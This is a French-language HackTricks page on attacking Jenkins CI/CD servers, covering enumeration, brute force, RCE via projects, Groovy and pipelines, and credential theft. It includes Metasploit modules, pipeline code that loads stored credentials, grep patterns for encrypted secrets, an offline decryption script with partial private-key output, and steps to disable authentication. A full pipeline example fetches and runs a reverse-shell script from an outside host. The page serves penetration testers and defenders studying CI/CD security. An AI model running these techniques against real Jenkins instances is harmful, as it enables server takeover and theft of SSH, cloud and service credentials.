Jenkins Security

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Jenkins est un outil qui offre une méthode simple pour établir un environnement d'intégration continue ou de déploiement continu (CI/CD) pour presque toute combinaison de langages de programmation et de référentiels de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le besoin de créer des scripts pour des étapes individuelles, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que l'on peut facilement construire manuellement.

pageBasic Jenkins Information

Énumération non authentifiée

Pour rechercher des pages Jenkins intéressantes sans authentification comme (/people ou /asynchPeople, qui répertorie les utilisateurs actuels), vous pouvez utiliser :

msf> use auxiliary/scanner/http/jenkins_enum

Vérifiez si vous pouvez exécuter des commandes sans avoir besoin d'authentification :

msf> use auxiliary/scanner/http/jenkins_command

Sans identifiants, vous pouvez regarder à l'intérieur du chemin /asynchPeople/ ou /securityRealm/user/admin/search/index?q= pour les noms d'utilisateur.

Vous pouvez peut-être obtenir la version de Jenkins à partir du chemin /oops ou /error

Vulnérabilités Connues

Connexion

Dans les informations de base, vous pouvez vérifier toutes les façons de vous connecter à Jenkins:

pageBasic Jenkins Information

Enregistrement

Vous pourrez trouver des instances de Jenkins qui vous permettent de créer un compte et de vous connecter à l'intérieur. Aussi simple que cela.

Connexion SSO

Également, si la fonctionnalité/plugins SSO étaient présents, vous devriez essayer de vous connecter à l'application en utilisant un compte de test (par exemple, un compte Github/Bitbucket de test). Astuce provenant de ici.

Bruteforce

Jenkins manque de politique de mot de passe et de mitigation de la force brute pour les noms d'utilisateur. Il est essentiel de forcer la recherche des utilisateurs car des mots de passe faibles ou des noms d'utilisateur comme mots de passe peuvent être utilisés, voire des noms d'utilisateur inversés comme mots de passe.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Utilisez ce script python ou ce script powershell.

Contournement du filtrage par adresse IP

De nombreuses organisations combinent des systèmes de gestion de contrôle de source (SCM) basés sur le cloud tels que GitHub ou GitLab avec une solution CI auto-hébergée interne comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de recevoir des événements de webhook des fournisseurs de contrôle de source basés sur le cloud, principalement pour déclencher des tâches de pipeline.

Pour ce faire, les organisations autorisent en liste blanche les plages d'adresses IP des plateformes SCM, leur permettant d'accéder au système CI interne via des webhooks. Cependant, il est important de noter que n'importe qui peut créer un compte sur GitHub ou GitLab et le configurer pour déclencher un webhook, envoyant potentiellement des requêtes au système CI interne.

Vérifiez : shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Abus internes de Jenkins

Dans ces scénarios, nous supposons que vous disposez d'un compte valide pour accéder à Jenkins.

En fonction du mécanisme d'Autorisation configuré dans Jenkins et des autorisations de l'utilisateur compromis, vous pourriez être en mesure ou non d'effectuer les attaques suivantes.

Pour plus d'informations, consultez les informations de base :

pageBasic Jenkins Information

Liste des utilisateurs

Si vous avez accédé à Jenkins, vous pouvez lister les autres utilisateurs enregistrés sur http://127.0.0.1:8080/asynchPeople/

Extraction des builds pour trouver des secrets en clair

Utilisez ce script pour extraire les sorties de console de build et les variables d'environnement de build afin de trouver des secrets en clair.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Vol de crédentiels SSH

Si l'utilisateur compromis a suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins et que des crédentiels SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait voler ces crédentiels en créant/modifiant un nœud et en définissant un hôte qui enregistrera les crédentiels sans vérifier la clé d'hôte :

Vous trouverez généralement les crédentiels SSH de Jenkins dans un fournisseur global (/credentials/), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la section Extraction de secrets.

RCE dans Jenkins

Obtenir un shell dans le serveur Jenkins donne à l'attaquant l'opportunité de divulguer tous les secrets et variables d'environnement et d'exploiter d'autres machines situées dans le même réseau ou même de collecter des crédentiels cloud.

Par défaut, Jenkins s'exécutera en tant que SYSTEM. Ainsi, le compromettre donnera à l'attaquant des privilèges SYSTEM.

RCE Création/Modification d'un projet

Créer/Modifier un projet est une façon d'obtenir une RCE sur le serveur Jenkins :

pageJenkins RCE Creating/Modifying Project

RCE Exécuter un script Groovy

Vous pouvez également obtenir une RCE en exécutant un script Groovy, ce qui pourrait être plus discret que de créer un nouveau projet :

pageJenkins RCE with Groovy Script

RCE Création/Modification de Pipeline

Vous pouvez également obtenir une RCE en créant/modifiant un pipeline :

pageJenkins RCE Creating/Modifying Pipeline

Exploitation de Pipeline

Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.

Construire des Pipelines

Les pipelines peuvent également être utilisés comme mécanisme de construction dans les projets, dans ce cas, un fichier à l'intérieur du dépôt peut être configuré pour contenir la syntaxe du pipeline. Par défaut, /Jenkinsfile est utilisé :

Il est également possible de stocker des fichiers de configuration de pipeline ailleurs (dans d'autres dépôts par exemple) dans le but de séparer l'accès au dépôt et l'accès au pipeline.

Si un attaquant a accès en écriture à ce fichier, il pourra le modifier et déclencher potentiellement le pipeline sans même avoir accès à Jenkins. Il est possible que l'attaquant doive contourner certaines protections de branche (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).

Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :

  • Pull request vers la branche principale (ou potentiellement vers d'autres branches)

  • Pousser vers la branche principale (ou potentiellement vers d'autres branches)

  • Mettre à jour la branche principale et attendre qu'elle soit exécutée d'une manière ou d'une autre

Si vous êtes un utilisateur externe, vous ne devriez pas vous attendre à créer une PR vers la branche principale du dépôt d'un autre utilisateur/organisation et déclencher le pipeline... mais s'il est mal configuré, vous pourriez compromettre complètement des entreprises en exploitant cela.

RCE de Pipeline

Dans la section RCE précédente, une technique pour obtenir une RCE en modifiant un pipeline a déjà été indiquée.

Vérification des variables d'environnement

Il est possible de déclarer des variables d'environnement en texte clair pour l'ensemble du pipeline ou pour des étapes spécifiques. Ces variables d'environnement ne devraient pas contenir d'informations sensibles, mais un attaquant pourrait toujours vérifier l'ensemble du pipeline configurations/Jenkinsfiles :

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Extraction de secrets

Pour des informations sur la manière dont les secrets sont généralement traités par Jenkins, consultez les informations de base :

pageBasic Jenkins Information

Les informations d'identification peuvent être définies pour les fournisseurs globaux (/credentials/) ou pour des projets spécifiques (/job/<nom-du-projet>/configure). Par conséquent, pour exfiltrer tous les secrets, vous devez compromettre au moins tous les projets contenant des secrets et exécuter des pipelines personnalisés/empoisonnés.

Il y a un autre problème, pour obtenir un secret dans l'environnement d'un pipeline, vous devez connaître le nom et le type du secret. Par exemple, si vous essayez de charger un secret usernamePassword en tant que secret de type string, vous obtiendrez cette erreur:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Voici la manière de charger certains types de secrets courants :

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

À la fin de cette page, vous pouvez trouver tous les types d'informations d'identification: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

La meilleure façon de dumper toutes les secrets en une fois est de compromettre la machine Jenkins (en exécutant par exemple un shell inversé dans le nœud intégré) puis de fuir les clés maîtresses et les secrets chiffrés et de les décrypter hors ligne. Pour en savoir plus sur la façon de faire cela, consultez la section Nodes & Agents et la section Post Exploitation.

Déclencheurs

D'après la documentation: La directive triggers définit les méthodes automatisées par lesquelles le Pipeline doit être relancé. Pour les Pipelines intégrés à une source telle que GitHub ou BitBucket, les triggers peuvent ne pas être nécessaires car une intégration basée sur les webhooks sera probablement déjà présente. Les déclencheurs actuellement disponibles sont cron, pollSCM et upstream.

Exemple de Cron:

triggers { cron('H */4 * * 1-5') }

Consultez d'autres exemples dans la documentation.

Noeuds & Agents

Une instance de Jenkins peut avoir différents agents s'exécutant sur différentes machines. Du point de vue d'un attaquant, l'accès à différentes machines signifie différentes informations d'identification cloud potentielles à voler ou différents accès réseau qui pourraient être exploités pour attaquer d'autres machines.

Pour plus d'informations, consultez les informations de base :

pageBasic Jenkins Information

Vous pouvez énumérer les noeuds configurés dans /computer/, vous trouverez généralement le **Noeud Intégré ** (qui est le noeud exécutant Jenkins) et potentiellement d'autres :

Il est particulièrement intéressant de compromettre le noeud intégré car il contient des informations sensibles sur Jenkins.

Pour indiquer que vous souhaitez exécuter le pipeline dans le noeud Jenkins intégré, vous pouvez spécifier dans le pipeline la configuration suivante :

pipeline {
agent {label 'built-in'}

Exemple complet

Pipeline dans un agent spécifique, avec un déclencheur cron, avec des variables d'environnement de pipeline et de stage, chargement de 2 variables dans une étape et envoi d'un shell inversé:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Secrets de Jenkins

Vous pouvez lister les secrets en accédant à /credentials/ si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier credentials.xml, mais les fichiers de configuration de build peuvent également contenir davantage de credentials.

Si vous pouvez voir la configuration de chaque projet, vous pouvez également y voir les noms des credentials (secrets) utilisés pour accéder au dépôt et d'autres credentials du projet.

En Groovy

pageJenkins Dumping Secrets from Groovy

Depuis le disque

Ces fichiers sont nécessaires pour décrypter les secrets de Jenkins :

  • secrets/master.key

  • secrets/hudson.util.Secret

De tels secrets peuvent généralement être trouvés dans :

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Voici une regex pour les trouver :

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Déchiffrer les secrets de Jenkins hors ligne

Si vous avez extrait les mots de passe nécessaires pour déchiffrer les secrets, utilisez ce script pour déchiffrer ces secrets.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Déchiffrer les secrets Jenkins à partir de Groovy

println(hudson.util.Secret.decrypt("{...}"))

Créer un nouvel utilisateur administrateur

  1. Accédez au fichier config.xml de Jenkins dans /var/lib/jenkins/config.xml ou C:\Program Files (x86)\Jenkins\

  2. Recherchez le mot <useSecurity>true</useSecurity> et changez le mot true en false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Redémarrez le serveur Jenkins : service jenkins restart

  5. Retournez sur le portail Jenkins et Jenkins ne demandera pas de mots de passe cette fois. Accédez à "Gérer Jenkins" pour définir à nouveau le mot de passe administrateur.

  6. Activez à nouveau la sécurité en modifiant les paramètres en <useSecurity>true</useSecurity> et redémarrez Jenkins à nouveau.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour